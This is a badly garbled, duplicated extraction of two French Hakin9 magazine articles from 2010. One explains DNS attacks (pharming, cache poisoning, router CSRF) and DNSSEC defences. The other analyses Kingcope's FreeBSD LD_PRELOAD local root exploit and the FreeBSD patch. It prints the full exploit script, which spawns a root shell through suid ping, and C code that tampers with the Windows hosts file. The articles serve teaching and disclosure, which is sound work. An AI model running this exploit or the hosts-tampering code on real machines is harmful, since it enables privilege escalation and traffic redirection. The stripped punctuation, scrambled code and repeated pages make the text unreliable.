Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 38: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 39: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

